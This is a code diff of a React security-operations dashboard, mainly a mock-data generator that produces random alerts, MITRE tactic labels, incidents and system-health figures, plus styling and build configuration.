<Cell key={SEVERITY_CONFIG[index].key} fill={entry.fill} />
|
||||
))}
|
||||
</Pie>
|
||||
<Tooltip content={<CustomTooltip />} />
|
||||
</PieChart>
|
||||
</ResponsiveContainer>
|
||||
|
||||
{/* Center label */}
|
||||
<div
|
||||
className="absolute inset-0 flex flex-col items-center justify-center pointer-events-none"
|
||||
>
|
||||
<span className="font-mono text-2xl font-bold text-ap-silver tabular-nums leading-none">
|
||||
{total}
|
||||
</span>
|
||||
<span className="font-mono text-[10px] text-ap-silver-dim uppercase tracking-widest mt-1">
|
||||
Total
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Legend */}
|
||||
<div className="grid grid-cols-2 gap-x-4 gap-y-2 px-4 pb-4 pt-2">
|
||||
{SEVERITY_CONFIG.map(({ key, label, color }) => (
|
||||
<div key={key} className="flex items-center gap-2">
|
||||
<span
|
||||
className="inline-block w-2 h-2 shrink-0"
|
||||
style={{ backgroundColor: color }}
|
||||
/>
|
||||
<span className="font-mono text-xs text-ap-silver-dim">
|
||||
{label}
|
||||
</span>
|
||||
<span className="ml-auto font-mono text-xs font-bold text-ap-silver tabular-nums">
|
||||
{data[key] || 0}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
236
dashboard/src/data/mockData.js
Normal file
236
dashboard/src/data/mockData.js
Normal file
@@ -0,0 +1,236 @@
|
||||
// =============================================================================
|
||||
// APOPHIS SOC - Mock Data Generators
|
||||
// Generates realistic-looking security operations data for the dashboard
|
||||
// =============================================================================
|
||||
|
||||
const ATTACK_TYPES = [
|
||||
'SSH Brute Force', 'SQL Injection', 'XSS Attempt', 'Port Scan',
|
||||
'DNS Tunneling', 'C2 Beacon', 'Credential Stuffing', 'DDoS SYN Flood',
|
||||
'Malware Download', 'Privilege Escalation', 'Lateral Movement',
|
||||
'Data Exfiltration', 'Phishing Link Click', 'RDP Brute Force',
|
||||
'SMB Exploit', 'ARP Spoofing', 'ICMP Flood', 'Directory Traversal',
|
||||
'Buffer Overflow', 'Zero-Day Exploit'
|
||||
];
|
||||
|
||||
const SEVERITIES = ['critical', 'high', 'medium', 'low', 'info'];
|
||||
const SEVERITY_WEIGHTS = [0.05, 0.15, 0.35, 0.30, 0.15];
|
||||
|
||||
const SOURCES = [
|
||||
'Suricata IDS', 'pfSense Firewall', 'Wazuh SIEM', 'ClamAV',
|
||||
'Zeek Network Monitor', 'OSSEC HIDS', 'Fail2Ban', 'Snort IPS',
|
||||
'ModSecurity WAF', 'OpenVAS Scanner'
|
||||
];
|
||||
|
||||
const COUNTRIES = [
|
||||
{ code: 'CN', name: 'China', weight: 0.20 },
|
||||
{ code: 'RU', name: 'Russia', weight: 0.18 },
|
||||
{ code: 'US', name: 'United States', weight: 0.12 },
|
||||
{ code: 'KP', name: 'North Korea', weight: 0.08 },
|
||||
{ code: 'IR', name: 'Iran', weight: 0.07 },
|
||||
{ code: 'BR', name: 'Brazil', weight: 0.07 },
|
||||
{ code: 'IN', name: 'India', weight: 0.06 },
|
||||
{ code: 'DE', name: 'Germany', weight: 0.05 },
|
||||
{ code: 'NL', name: 'Netherlands', weight: 0.05 },
|
||||
{ code: 'RO', name: 'Romania', weight: 0.04 },
|
||||
{ code: 'UA', name: 'Ukraine', weight: 0.04 },
|
||||
{ code: 'VN', name: 'Vietnam', weight: 0.04 },
|
||||
];
|
||||
|
||||
const MITRE_TACTICS = [
|
||||
'Reconnaissance', 'Resource Dev', 'Initial Access', 'Execution',
|
||||
'Persistence', 'Priv Escalation', 'Defense Evasion', 'Credential Access',
|
||||
'Discovery', 'Lateral Movement', 'Collection', 'C2', 'Exfiltration', 'Impact'
|
||||
];
|
||||
|
||||
const MITRE_TECHNIQUES = {
|
||||
'Reconnaissance': ['Active Scanning', 'Search Open Websites', 'Gather Victim Info', 'Phishing for Info'],
|
||||
'Resource Dev': ['Acquire Infrastructure', 'Develop Capabilities', 'Stage Capabilities', 'Compromise Accounts'],
|
||||
'Initial Access': ['Phishing', 'Exploit Public App', 'Valid Accounts', 'Drive-by Compromise'],
|
||||
'Execution': ['Command & Script', 'Scheduled Task', 'User Execution', 'WMI'],
|
||||
'Persistence': ['Boot Autostart', 'Create Account', 'Scheduled Task', 'Server Software'],
|
||||
'Priv Escalation': ['Abuse Elevation', 'Access Token', 'Boot Autostart', 'Exploitation'],
|
||||
'Defense Evasion': ['Obfuscation', 'Masquerading', 'Rootkit', 'Process Injection'],
|
||||
'Credential Access': ['Brute Force', 'OS Credential Dump', 'Keylogging', 'Network Sniffing'],
|
||||
'Discovery': ['Account Discovery', 'Network Scan', 'System Info', 'Process Discovery'],
|
||||
'Lateral Movement': ['Remote Services', 'SMB/Admin Share', 'Pass the Hash', 'RDP'],
|
||||
'Collection': ['Data from Local', 'Screen Capture', 'Clipboard Data', 'Email Collection'],
|
||||
'C2': ['Application Layer', 'Encrypted Channel', 'Proxy', 'Web Service'],
|
||||
'Exfiltration': ['Exfil Over C2', 'Exfil Over Web', 'Automated Exfil', 'Transfer Size Limits'],
|
||||
'Impact': ['Data Destruction', 'Data Encrypted', 'Service Stop', 'Defacement'],
|
||||
};
|
||||
|
||||
// --- Utility functions ---
|
||||
|
||||
function randomInt(min, max) {
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
function randomFloat(min, max) {
|
||||
return Math.random() * (max - min) + min;
|
||||
}
|
||||
|
||||
function randomChoice(arr) {
|
||||
return arr[Math.floor(Math.random() * arr.length)];
|
||||
}
|
||||
|
||||
function weightedChoice(items, weights) {
|
||||
const r = Math.random();
|
||||
let sum = 0;
|
||||
for (let i = 0; i < items.length; i++) {
|
||||
sum += weights[i];
|
||||
if (r <= sum) return items[i];
|
||||
}
|
||||
return items[items.length - 1];
|
||||
}
|
||||
|
||||
function randomIP() {
|
||||
// Generate realistic-looking external IPs (avoiding private ranges)
|
||||
const firstOctet = randomChoice([1, 2, 5, 14, 23, 31, 37, 41, 45, 46, 49, 58, 59, 60, 61, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 91, 92, 93, 94, 95, 103, 104, 106, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223]);
|
||||
return `${firstOctet}.${randomInt(1, 254)}.${randomInt(1, 254)}.${randomInt(1, 254)}`;
|
||||
}
|
||||
|
||||
let alertIdCounter = 1000;
|
||||
|
||||
// --- Public API ---
|
||||
|
||||
export function generateAlert() {
|
||||
const severity = weightedChoice(SEVERITIES, SEVERITY_WEIGHTS);
|
||||
const country = weightedChoice(
|
||||
COUNTRIES.map(c => c),
|
||||
COUNTRIES.map(c => c.weight)
|
||||
);
|
||||
return {
|
||||
id: `APH-${String(alertIdCounter++).padStart(5, '0')}`,
|
||||
timestamp: new Date(),
|
||||
severity,
|
||||
attackType: randomChoice(ATTACK_TYPES),
|
||||
sourceIP: randomIP(),
|
||||
targetIP: `10.0.${randomInt(1, 5)}.${randomInt(1, 254)}`,
|
||||
source: randomChoice(SOURCES),
|
||||
country: country.code,
|
||||
countryName: country.name,
|
||||
port: randomChoice([22, 80, 443, 445, 3389, 8080, 8443, 3306, 5432, 53, 25, 110, 143, 993, 995]),
|
||||
blocked: Math.random() > 0.3,
|
||||
};
|
||||
}
|
||||
|
||||
export function generateAlertBatch(count = 20) {
|
||||
const alerts = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
const alert = generateAlert();
|
||||
alert.timestamp = new Date(Date.now() - randomInt(0, 3600000));
|
||||
alerts.push(alert);
|
||||
}
|
||||
return alerts.sort((a, b) => b.timestamp - a.timestamp);
|
||||
}
|
||||
|
||||
export function generateTrafficData(points = 24) {
|
||||
const data = [];
|
||||
const now = new Date();
|
||||
for (let i = points - 1; i >= 0; i--) {
|
||||
const time = new Date(now.getTime() - i * 3600000);
|
||||
const hour = time.getHours();
|
||||
// Simulate higher traffic during business hours
|
||||
const multiplier = (hour >= 8 && hour <= 18) ? 1.5 : (hour >= 0 && hour <= 5) ? 0.4 : 1.0;
|
||||
data.push({
|
||||
time: time.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' }),
|
||||
inbound: Math.round(randomFloat(120, 450) * multiplier),
|
||||
outbound: Math.round(randomFloat(80, 320) * multiplier),
|
||||
blocked: Math.round(randomFloat(5, 60) * multiplier),
|
||||
});
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
export function generateSystemHealth() {
|
||||
return [
|
||||
{ name: 'pfSense Firewall', status: Math.random() > 0.05 ? 'online' : 'warning', cpu: randomInt(8, 45), mem: randomInt(30, 70), uptime: `${randomInt(10, 90)}d` },
|
||||
{ name: 'Suricata IDS', status: Math.random() > 0.08 ? 'online' : 'warning', cpu: randomInt(15, 65), mem: randomInt(40, 80), uptime: `${randomInt(5, 60)}d` },
|
||||
{ name: 'Wazuh SIEM', status: Math.random() > 0.05 ? 'online' : 'warning', cpu: randomInt(20, 55), mem: randomInt(50, 85), uptime: `${randomInt(3, 45)}d` },
|
||||
{ name: 'ClamAV Scanner', status: Math.random() > 0.10 ? 'online' : 'offline', cpu: randomInt(5, 30), mem: randomInt(20, 50), uptime: `${randomInt(1, 30)}d` },
|
||||
{ name: 'Zeek Monitor', status: Math.random() > 0.05 ? 'online' : 'warning', cpu: randomInt(10, 50), mem: randomInt(35, 75), uptime: `${randomInt(7, 60)}d` },
|
||||
{ name: 'OpenVAS', status: Math.random() > 0.12 ? 'online' : 'offline', cpu: randomInt(5, 25), mem: randomInt(15, 45), uptime: `${randomInt(2, 20)}d` },
|
||||
];
|
||||
}
|
||||
|
||||
export function generateMitreData() {
|
||||
const data = {};
|
||||
for (const tactic of MITRE_TACTICS) {
|
||||
data[tactic] = {};
|
||||
for (const technique of MITRE_TECHNIQUES[tactic]) {
|
||||
// 0 = not seen, 1 = low, 2 = medium, 3 = high detection count
|
||||
data[tactic][technique] = Math.random() > 0.4 ? randomInt(0, 3) : 0;
|
||||
}
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
export function generateTopThreats(count = 8) {
|
||||
const threats = [];
|
||||
const usedIPs = new Set();
|
||||
for (let i = 0; i < count; i++) {
|
||||
let ip;
|
||||
do { ip = randomIP(); } while (usedIPs.has(ip));
|
||||
usedIPs.add(ip);
|
||||
const country = weightedChoice(
|
||||
COUNTRIES.map(c => c),
|
||||
COUNTRIES.map(c => c.weight)
|
||||
);
|
||||
threats.push({
|
||||
ip,
|
||||
country: country.code,
|
||||
countryName: country.name,
|
||||
attackType: randomChoice(ATTACK_TYPES),
|
||||
count: randomInt(15, 500),
|
||||
lastSeen: new Date(Date.now() - randomInt(0, 7200000)),
|
||||
blocked: Math.random() > 0.2,
|
||||
});
|
||||
}
|
||||
return threats.sort((a, b) => b.count - a.count);
|
||||
}
|
||||
|
||||
export function generateIncidents() {
|
||||
const statuses = ['Open', 'Investigating', 'Contained', 'Resolved'];
|
||||
const priorities = ['P1', 'P2', 'P3', 'P4'];
|
||||
const descriptions = [
|
||||
'Suspicious outbound C2 traffic detected on endpoint WS-04',
|
||||
'Multiple failed SSH logins from external IP on DMZ server',
|
||||
'Malware signature detected in email attachment',
|
||||
'Unauthorized port scan from internal host 10.0.2.15',
|
||||
'Privilege escalation attempt on domain controller',
|
||||
'Data exfiltration alert: large DNS TXT queries',
|
||||
'Brute force attack on VPN gateway',
|
||||
'Phishing campaign targeting finance department',
|
||||
'Anomalous lateral movement between VLANs',
|
||||
'Ransomware indicator detected on file server',
|
||||
];
|
||||
return descriptions.slice(0, randomInt(4, 8)).map((desc, i) => ({
|
||||
id: `INC-${String(2024001 + i).padStart(7, '0')}`,
|
||||
description: desc,
|
||||
status: i === 0 ? 'Open' : randomChoice(statuses),
|
||||
priority: i < 2 ? priorities[i] : randomChoice(priorities),
|
||||
assignee: randomChoice(['analyst-1', 'analyst-2', 'lead-soc', 'ir-team']),
|
||||
created: new Date(Date.now() - randomInt(3600000, 86400000 * 3)),
|
||||
}));
|
||||
}
|
||||
|
||||
export function generateVulnSummary() {
|
||||
return {
|
||||
critical: randomInt(2, 8),
|
||||
high: randomInt(10, 35),
|
||||
medium: randomInt(25, 80),
|
||||
low: randomInt(40, 120),
|
||||
info: randomInt(50, 200),
|
||||
};
|
||||
}
|
||||
|
||||
export function getOverallThreatLevel(alerts) {
|
||||
const critCount = alerts.filter(a => a.severity === 'critical').length;
|
||||
const highCount = alerts.filter(a => a.severity === 'high').length;
|
||||
if (critCount >= 3) return 'CRITICAL';
|
||||
if (critCount >= 1 || highCount >= 5) return 'HIGH';
|
||||
if (highCount >= 2) return 'ELEVATED';
|
||||
return 'GUARDED';
|
||||
}
|
||||
|
||||
export { MITRE_TACTICS, MITRE_TECHNIQUES, SEVERITIES };
|
||||
89
dashboard/src/index.css
Normal file
89
dashboard/src/index.css
Normal file
@@ -0,0 +1,89 @@
|
||||
@import "tailwindcss";
|
||||
|
||||
@theme {
|
||||
--color-ap-red: #D72638;
|
||||
--color-ap-red-dim: #D7263844;
|
||||
--color-ap-black: #1B1B1E;
|
||||
--color-ap-dark: #121214;
|
||||
--color-ap-panel: #222226;
|
||||
--color-ap-silver: #E0E0E2;
|
||||
--color-ap-silver-dim: #E0E0E266;
|
||||
--color-ap-blue: #0056B3;
|
||||
--color-ap-blue-dim: #0056B344;
|
||||
--color-ap-green: #00C853;
|
||||
--color-ap-yellow: #FFD600;
|
||||
--color-ap-orange: #FF6D00;
|
||||
--font-mono: 'JetBrains Mono', monospace;
|
||||
--font-sans: 'Inter', sans-serif;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: var(--font-sans);
|
||||
background-color: var(--color-ap-dark);
|
||||
color: var(--color-ap-silver);
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
#root {
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar {
|
||||
width: 4px;
|
||||
height: 4px;
|
||||
}
|
||||
::-webkit-scrollbar-track {
|
||||
background: var(--color-ap-black);
|
||||
}
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: var(--color-ap-red);
|
||||
}
|
||||
|
||||
@keyframes pulse-red {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
.animate-pulse-red {
|
||||
animation: pulse-red 2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.panel {
|
||||
background-color: var(--color-ap-panel);
|
||||
border: 1px solid #E0E0E215;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.panel-header {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.65rem;
|
||||
font-weight: 600;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.12em;
|
||||
color: #E0E0E288;
|
||||
padding: 0.65rem 0.85rem;
|
||||
border-bottom: 1px solid #E0E0E210;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.panel-header .dot {
|
||||
width: 5px;
|
||||
height: 5px;
|
||||
background: var(--color-ap-red);
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.severity-critical { color: #D72638; }
|
||||
.severity-high { color: #FF6D00; }
|
||||
.severity-medium { color: #FFD600; }
|
||||
.severity-low { color: #0056B3; }
|
||||
.severity-info { color: #E0E0E266; }
|
||||
10
dashboard/src/main.jsx
Normal file
10
dashboard/src/main.jsx
Normal file
@@ -0,0 +1,10 @@
|
||||
import { StrictMode } from 'react'
|
||||
import { createRoot } from 'react-dom/client'
|
||||
import './index.css'
|
||||
import App from './App.jsx'
|
||||
|
||||
createRoot(document.getElementById('root')).render(
|
||||
<StrictMode>
|
||||
<App />
|
||||
</StrictMode>,
|
||||
)
|
||||
7
dashboard/vite.config.js
Normal file
7
dashboard/vite.config.js
Normal file
@@ -0,0 +1,7 @@
|
||||
import { defineConfig } from 'vite'
|
||||
import react from '@vitejs/plugin-react'
|
||||
import tailwindcss from '@tailwindcss/vite'
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [react(), tailwindcss()],
|
||||
})
|
||||
1189
network-architecture.excalidraw
Normal file
1189
network-architecture.excalidraw
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user